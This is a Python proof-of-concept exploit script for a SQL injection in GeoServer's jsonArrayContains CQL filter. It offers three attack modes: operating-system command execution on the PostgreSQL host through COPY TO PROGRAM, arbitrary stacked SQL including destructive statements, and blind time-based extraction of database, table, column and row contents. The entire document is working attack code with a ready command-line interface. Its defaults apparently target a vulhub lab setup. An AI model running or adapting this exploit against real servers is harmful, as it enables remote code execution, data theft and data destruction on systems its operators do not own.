GeoServer jsonArrayContains SQLi -> PostgreSQL RCE python PoC

exploit.py

#!/usr/bin/env python3
"""
GeoServer jsonArrayContains SQLi -> PostgreSQL RCE / SQL / exfiltration PoC

GeoTools FilterToSqlHelper.constructEquality writes the `expected` argument of
jsonArrayContains RAW into the SQL string (only the JSON pointer is escaped):

    jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')

A single quote in VALUE breaks out of the string literal, closes the call
and lets us append anything else to the query.

Modes (choose one):
  -c CMD          OS command RCE via stacked  COPY (SELECT 1) TO PROGRAM '<cmd>'
                  (needs superuser / pg_execute_server_program; stacked queries)
  -s "SQL"        run arbitrary SQL via stacked query, e.g. -s "DELETE FROM x"
                  (needs stacked queries = prepared statements disabled);
                  no output is returned, effects are blind
  -x [TABLE]      blind time-based extraction (works even with prepared
                  statements, no superuser needed):
                    -x          -> database name + list of tables
                    -x mytable  -> columns + first rows of that table

The request is verified first with a pg_sleep timing check and nothing runs
unless the delay is observed.

Run:  python3 jsonarraycontains_rce.py -i 1.2.3.4 -p 8080 -c "id > /tmp/o.txt"
      python3 jsonarraycontains_rce.py -i 1.2.3.4 -p 8080 -x
      python3 jsonarraycontains_rce.py -i 1.2.3.4 -p 8080 -x users -l 10
"""
import argparse
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DELAY = 4          # seconds used for the time-based check / extraction
MIN_DELAY = DELAY - 1.5  # minimum measured delay to consider the sleep executed


def cql_quote(s):
    return s.replace("'", "''")


def build_cql(prop, inject):
    return 'jsonArrayContains("%s", \'/a\', \'%s\') = true' % (prop, cql_quote(inject))


def build_url(host, port, typename, cql):
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": typename,
        "CQL_FILTER": cql,
    }
    qs = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)
    return "http://%s:%s/geoserver/ows?%s" % (host, port, qs)


def fire(url, timeout):
    req = urllib.request.Request(url, headers={"User-Agent": "poc"})
    t0 = time.time()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            r.read()
        return time.time() - t0
    except urllib.error.HTTPError as e:
        return time.time() - t0
    except Exception:
        return time.time()


def probe(args, expr, label=""):
    """Returns True if `pg_sleep` fired, i.e. condition `expr` was true.
    SQL-level boolean context, works with prepared statements."""
    inject = "x') AND (SELECT * FROM (SELECT pg_sleep(CASE WHEN %s THEN %d ELSE 0 END)) a) IS NOT NULL -- " % (
        expr, DELAY)
    cql = build_cql(args.property, inject)
    secs = fire(build_url(args.host, args.port, args.typename, cql), DELAY + 8)
    if label:
        print("      %-42s -> %.2fs" % (label[:42], secs))
    return secs >= MIN_DELAY


def extract_string(expr, label, maxlen=64):
    """Blind binary search over characters of the expression's result."""
    out = []
    for pos in range(1, maxlen + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = "ascii(substr((%s),%d,1)) > %d" % (expr, pos, mid)
            if probe_ctx["probe"](cond):
                lo = mid + 1
            else:
                hi = mid
        if lo == 32:  # end of string
            break
        out.append(chr(lo))
    s = "".join(out)
    print("[+] %s = %s" % (label, s))
    return s


def verify_stack(args):
    """Stacked-query timing check (needed for -c and -s modes)."""
    inject = "x') ; SELECT pg_sleep(%d) -- " % DELAY
    cql = build_cql(args.property, inject)
    secs = fire(build_url(args.host, args.port, args.typename, cql), DELAY + 8)
    print("[verify-stack] %.2fs" % secs)
    return secs >= MIN_DELAY


def mode_shell(args):
    if not verify_stack(args):
        sys.exit("[-] no stacked-query delay - prepared statements likely enabled -> try -x")
    cmd = args.cmd
    if "'" in cmd:
        sys.exit("[-] command must not contain single quotes")
    inject = "x') ; COPY (SELECT 1) TO PROGRAM '%s' -- " % cmd
    cql = build_cql(args.property, inject)
    url = build_url(args.host, args.port, args.typename, cql)
    print("[+] executing: %s" % cmd)
    print("[*] %s" % url)
    fire(url, 30)
    print("[*] sent - check the command's side effects for the result")


def mode_sql(args):
    if not verify_stack(args):
        sys.exit("[-] no stacked-query delay - prepared statements likely enabled -> try -x")
    if args.sql.strip().lower().startswith(("insert", "update", "delete", "drop", "create", "alter", "truncate")):
        print("[!] destructive/写入 statement - make sure you own this target")
    inject = "x') ; %s -- " % args.sql
    cql = build_cql(args.property, inject)
    url = build_url(args.host, args.port, args.typename, cql)
    print("[+] SQL: %s" % args.sql)
    print("[*] %s" % url)
    fire(url, 30)
    print("[*] sent - blind, verify side effects in the database")


def mode_extract(args):
    # always works: single-statement boolean time-based extraction
    probe_ctx["probe"] = lambda cond: probe(args, cond)
    extract_string("current_database()", "current_database")
    n = 0
    while True:
        tn = extract_string(
            "SELECT table_name FROM information_schema.tables WHERE table_schema='public' "
            "ORDER BY table_name LIMIT 1 OFFSET %d" % n,
            "table[%d]" % n, maxlen=40)
        if not tn:
            break
        n += 1
        if n > 40:
            break
    if args.table:
        dump_table(args, args.table)


def dump_table(args, table):
    q = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' ORDER BY ordinal_position LIMIT 1 OFFSET %%d" % table
    cols, idx = [], 0
    while True:
        c = extract_string(q % idx, "column[%d]" % idx, maxlen=30)
        if not c:
            break
        cols.append(c)
        idx += 1
    if not cols:
        print("[-] no columns found for %s" % table)
        return
    print("[+] columns: %s" % ", ".join(cols))
    sel = " || '|' || ".join('"%s"' % c for c in cols)
    for r in range(args.limit):
        row = extract_string(
            "SELECT %s FROM %s LIMIT 1 OFFSET %d" % (sel, table, r),
            "row[%d]" % r, maxlen=120)
        if not row:
            break


probe_ctx = {}


def main():
    ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("-i", "--host", default="localhost", help="GeoServer host (default: localhost)")
    ap.add_argument("-p", "--port", default="8080", help="GeoServer port (default: 8080)")
    ap.add_argument("-t", "--typename", default="vulhub:example", help="WFS layer type name (default: vulhub:example)")
    ap.add_argument("-r", "--property", default="data", help="json/jsonb column of the layer (default: data)")
    ap.add_argument("-l", "--limit", type=int, default=3, help="max rows to dump with -x TABLE (default: 3)")
    g = ap.add_mutually_exclusive_group(required=True)
    g.add_argument("-c", dest="cmd", help="OS command to execute on the DB host (COPY TO PROGRAM, needs superuser)")
    g.add_argument("-s", "--sql", dest="sql", help="arbitrary SQL to run via stacked query (blind)")
    g.add_argument("-x", "--extract", dest="table", nargs="?", const="", help="blind-extract db/tables, or a specific TABLE")
    args = ap.parse_args()
    if args.cmd:
        mode_shell(args)
    elif args.sql:
        mode_sql(args)
    else:
        mode_extract(args)


if __name__ == "__main__":
    main()